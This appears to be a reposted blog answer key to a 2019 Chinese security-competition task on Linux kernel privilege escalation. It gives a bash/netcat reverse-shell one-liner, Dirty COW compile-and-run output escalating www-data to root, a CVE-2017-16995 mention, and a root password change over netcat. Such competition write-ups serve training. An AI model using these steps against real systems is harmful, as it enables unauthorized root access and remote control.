任务1:Linux Kernel提权(50分)[2019年信息安全管理与评估赛题答案 -01]

Posted nul1

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了任务1:Linux Kernel提权(50分)[2019年信息安全管理与评估赛题答案 -01]相关的知识,希望对你有一定的参考价值。

任务环境说明:

攻击机:

物理机:Windows7

物理机安装工具1:Microsoft Visual Studio 2008

物理机安装工具2:OllyICE

虚拟机1:Ubuntu_Linux

虚拟机1安装工具1:Python3/Python2

虚拟机1安装工具2:GCC

虚拟机1安装工具3:GDB

虚拟机1安装工具4:Netcat

虚拟机1用户名:root,虚拟机1密码:123456

虚拟机操作系统2:CentOS_Linux

虚拟机2安装工具1:GCC

虚拟机2安装工具2:GDB

虚拟机2用户名:root,虚拟机2密码:123456

靶机:

服务器场景1:WindowsServer

服务器场景1的FTP下载服务用户名:anonymous

服务器场景2:LinuxServer_01


任务内容:

1.登录服务器场景2的WebShell,通过相关手段打印当前系统相关信息(内核版本号、硬件架构、主机名称和操作系统类型等,命令并非查看文件),将操作命令作为FLAG值提交;

答案:uname -a

#拿到的webshell后面的题目需要反弹,如果有NC直接nc -e /bin/bash,没有的话也可以直接通过bash反弹命令:bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

2.根据操作命令回显将内核版本信息作为FLAG值提交;

操作命令:uname -r

3.通过相关手段对服务器场景2上传提权文件,将上传成功提示单词全部作为FLAG值提交;

不清楚是什么提权方式,无法作答;

疑似:脏牛、CVE-2017-16995....

脏牛:

[email protected]:/tmp$gcc -Wall -o hello dirtycow-mem.c -ldl -lpthread
[email protected]:/tmp$ ls
hello
[email protected]:/tmp$ chmod +x hello
[email protected]:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:/tmp$ ./hello
[*] range: b7573000-b7716000]
[*] getuid = b762bd10
[*] mmap 0xb73cb000
[*] exploiting (patch)
[*] patched (madviseThread)
[*] patched (procselfmemThread)
[email protected]:/tmp# [*] exploiting (unpatch)
[*] unpatched: uid=33 (madviseThread)
[*] unpatched: uid=33 (procselfmemThread)

[email protected]:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

CVE-2017-16995直接编译gcc -o exp exp.c即可;

脏牛:gcc -pthread dirty.c -o dirty -lcrypt编译好执行即可,使用脏牛需要注意的是对/etc/passwd进行备份,然后对/etc/passwd进行重写,修改账户权限;

4.在攻击机虚拟机1通过NC进行监听模式,输出交互信息或报错信息,并且监听8081端口,将命令作为FLAG值提交;

参考命令:nc -lvvp 8081

5.从攻击机虚拟机1对服务器场景2通过相关手段进行NC连接,将成功回显后结果的正数第三排第四个单词作为FLAG值提交;

参考命令:netcat ip port

6.从攻击机虚拟机1对服务器场景2通过相关手段进行NC成功连接后,通过相关命令修改root密码,将回显最后一行后三个单词作为FLAG值提交;

参考命令:通过NC修改Linux密码的命令:echo qqadminssh | passwd --stdin root

7.修改密码后,查看/root/flag.txt文件,将回显最后一行最后两个单词作为FLAG值提交;

参考命令:cat /root/flag.txt

8.对当前用户进行提权,提权成功后,再次查看/root/flag.txt,将回显内容后两个单词作为FLAG值提交;

参考命令:cat /root/flag.txt 

 

如果你觉得这篇文章对你有用你可以通过扫描下面的二维码进行打赏。

——>微信<——             ——>支付宝<——

 技术图片技术图片

以上是关于任务1:Linux Kernel提权(50分)[2019年信息安全管理与评估赛题答案 -01]的主要内容,如果未能解决你的问题,请参考以下文章

Linux提权第四篇-Linux Cron Jobs(任务计划)提权(crontab文件覆盖提权Crontab Tar Wildcard(通配符)注入提权)

linux 提权漏洞总结

大牛总结的Linux提权Exp合集

Linux Kernel suspend and resume

Linux内核ROP姿势详解

Linux 提权